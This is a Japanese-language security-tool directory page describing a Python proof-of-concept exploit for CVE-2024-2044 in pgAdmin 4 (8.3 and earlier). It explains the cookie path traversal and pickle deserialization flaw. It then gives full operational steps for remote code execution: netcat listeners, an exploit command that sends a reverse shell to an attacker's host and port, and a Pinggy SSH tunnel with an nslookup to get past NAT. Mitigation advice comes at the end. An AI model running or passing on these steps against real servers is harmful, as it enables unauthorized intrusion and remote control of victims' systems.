Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-2044 — pgAdmin 4(8.3以下)におけるCVE-2024-2044を悪用するPython PoC。認証済みパストラバーサルと安全でないpickleデシリアライゼーションを利用して、リモートコード実行とリバースシェルを実現します。 | Kitploit
ツール/GitHubGitHub/hanzzly/cve-2024-2044
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストリモートアクセスツールペイロード開発
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

pgAdmin 4(8.3以下)におけるCVE-2024-2044を悪用するPython PoC。認証済みパストラバーサルと安全でないpickleデシリアライゼーションを利用して、リモートコード実行とリバースシェルを実現します。

リポジトリを見る
19時間6分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PoC CVE-2024-2044: pgAdmin 4 認証済みRCE (Linux/POSIX)

このリポジトリには、Linux/POSIX環境で動作するpgAdmin 4(バージョン8.3以下)における、認証済みパストラバーサルと安全でないデシリアライゼーションを組み合わせた重大な脆弱性であるCVE-2024-2044のProof of Concept(PoC)スクリプトが含まれています。

[!WARNING] 免責事項: このコードは、教育、セキュリティ研究、および正式なペネトレーションテスト(authorized pentesting)のみを目的として作成されています。書面による許可なくターゲットを攻撃するためにこのコードを悪用することは、違法行為であり法律に違反します。


脆弱性の説明

Linux環境でサーバーモードのpgAdmin 4では、セッション管理はローカルファイルの形式で保存されます。この脆弱性は、FileBackedSessionManager.get()関数がHTTP cookie pga4_sessionの値を受け取り、パス操作文字(../)のサニタイズを行わずにos.path.joinを使用してディレクトリパスに結合するために発生します。

このPoCスクリプトは、以下の流れでこの脆弱性を悪用します:

  1. 認証: 有効な認証情報を使用して自動ログインし、アクティブなセッションを取得してCSRFトークンをバイパスします。
  2. ペイロードのアップロード: 組み込みのStorage Managerユーティリティを利用して、Reverse Shellコマンドを含む悪意のあるPython pickleオブジェクトをアップロードします。このファイルはユーザーのストレージディレクトリ(例: /storage/nama_user/)の下に保存されます。
  • パストラバーサルのトリガー: pga4_session cookieを、アップロードされたpickleファイルへの相対パス(例: ../storage/nama_user/file.pickle!)に操作して、/loginにHTTPリクエストを送信します。!記号は、pgAdmin 4のセッションファイル拡張子の検索に合わせるために使用されます。
  • コード実行(RCE): pgAdmin 4サーバーは、そのファイルを読み取り、pickle.loads()で処理するように欺かれます。その結果、ペイロードは別の(detached)Pythonプロセスを実行し、攻撃者にReverse Shellを送信します。

  • 前提条件 (Prerequisites)

    • ターゲット: Linux/POSIXで動作するpgAdmin 4 <= 8.3 (サーバーモード)。
    • アクセス: 有効なログインアカウント(ユーザー名とパスワード)が必要です。
    • スクリプトの依存関係: Python 3およびrequestsライブラリ。

    使用ガイド

    オプション A: パブリックIPを直接使用する場合 (ローカル/VPN)

    1. reverse shell接続を受信するために、マシンでnetcatポートを開きます:
      root@kitploit:~
      nc -lvnp 4444
      
    2. エクスプロイトスクリプトを実行します:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    オプション B: ポートフォワーディングを使用する場合 (Pinggy.io)

    マシンがNAT/ルーターの背後にあり、パブリックトンネリングが必要な場合は、以下の手順でPinggy.ioサービスを使用できます:

    1. ローカルNetcatリスナーを実行

    まず、選択したポート(例: ポート1337)を使用して、ローカルマシンでncを起動します:

    root@kitploit:~
    nc -lvnp 1337
    

    2. Pinggyトンネルを実行

    新しいターミナルを開き、Pinggy SSHコマンドを実行します。末尾のローカルポート(1337)が、先ほど起動したncのポートと一致していることを確認してください:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    接続後、PinggyはパブリックTCP URLを提供します。例えば: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    注: Pinggyから取得したパブリックポートは43143です(これが後で-lportになります)。

    3. Pinggyの実際のIPを検索 (LHOSTの取得)

    ターゲットのpgAdmin 4サーバーは、reverse shellソケット接続のために実際のIPアドレス形式を必要とします。Pinggy URLのドメインに対してnslookupを実行します:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    出力にはPinggyサーバーのパブリックIPが表示されます(最上部のAddressセクションのIPv4を選択してください):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    上記の出力から、Pinggyの実際のIP 172.236.148.125が取得できました。

    image

    4. エクスプロイトスクリプトを実行

    nslookupの結果のIPを-lhostとして、Pinggyのパブリックポートを-lportとして入力し、PoCスクリプトを実行します:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    スクリプトオプションパラメータ

    • -t, --target : pgAdmin 4のターゲットURL (必須)。
    • -u, --username: ログイン用メール/ユーザー名 (デフォルト: [email protected])。
    • -p, --password: ログインパスワード (デフォルト: player123)。
    • -lhost : 攻撃者のIPアドレス / Pinggyのnslookup結果IP (必須)。
    • -lport : 攻撃者のリスナーポート / Pinggyのパブリックポート (必須)。

    緩和策

    この脆弱性はpgAdmin 4バージョン8.4で修正されています。脆弱なサーバーを管理している場合は、直ちに以下の措置を講じてください:

    1. pgAdmin 4を8.4以降に更新してください。
    2. VPNまたはFirewall Whitelistを使用して、pgAdmin 4パネルへのネットワークアクセスを制限してください。
    3. pgAdmin 4プロセスが通常のユーザー権限(非root)で実行されていることを確認してください。
    ツールをダウンロード